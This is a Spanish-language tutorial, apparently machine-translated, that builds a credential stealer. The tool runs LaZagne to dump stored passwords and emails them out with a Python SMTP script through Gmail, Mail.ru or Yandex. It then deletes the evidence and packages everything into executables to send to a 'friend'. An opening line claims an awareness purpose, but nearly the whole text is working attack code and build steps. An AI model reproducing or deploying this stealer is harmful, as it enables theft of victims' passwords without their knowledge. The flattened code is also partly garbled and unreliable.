Que haremos
Hola, el lector de hoy hablará sobre por qué no necesita abrir archivos no verificados descargados de fuentes desconocidas y crear dicho archivo para comprender lo que puede hacer en su PC. Crearemos un styler que recopilará todas nuestras contraseñas y nos las enviará por correo.
¿Qué se necesita para esto?
Necesitaremos:
- Python 3.xx
- Herramienta de recuperación de contraseña (en nuestro caso, LaZagne )
- Dos cuentas de Google
Y entonces comenzamos
Primero, coloque el archivo .exe de la herramienta LaZagne en la carpeta con nuestro proyecto. A continuación, cree un archivo .bat con cualquier nombre (tendré main.bat) y un archivo send.py.
Deberíamos obtener esta estructura:
Proyecto:
- laZagne.exe
- send.py
- main.bat
Escribir un código
Abra el archivo main.bat y coloque el código allí:
@Echo off laZagne.exe all > pass.txt
Ahora, cuando ejecute nuestro archivo .bat, tendremos un archivo pass.txt en el que estarán todas sus contraseñas de los navegadores (y no solo). Solo queda enviar datos al correo. ¿Pero cómo hacerlo?
Enviando al correo
Abra el archivo send.py y pegue el código:
import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files)
Ahora debe configurar y, según el servicio al que enviará el correo, cambiar el código seleccionado: Google (primero debe permitir el acceso a aplicaciones menos seguras ):
server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
Mail.ru:
server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit()
Yandex:
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit()
Finalizar .bat
Ahora en nuestro archivo .bat, agregue el código de inicio del archivo send.py y la eliminación del archivo pass.txt:
send.py del /s "pass.txt"
Asamblea
Ahora, después de ejecutar main.bat, sus contraseñas se enviarán a su correo, pero si no tiene Python instalado, entonces nada funcionará, debe convertir nuestro archivo send.py en exe. Para hacer esto, abra la consola y escriba:
pip install pyinstaller pyinstaller --onefile send.py
Aún así, necesitamos convertir el archivo main.bat en main.exe, y Bat To Exe Converter nos ayudará con esto. Haga clic en el botón con tres puntos ("...") y busque su archivo main.bat, haga clic en "Abrir", luego haga clic en "Convertir" y obtenga el archivo main.exe. Estos tres archivos son nuestro styler, podemos enviar a un amigo y disfrutar comprobar el rendimiento
Referencias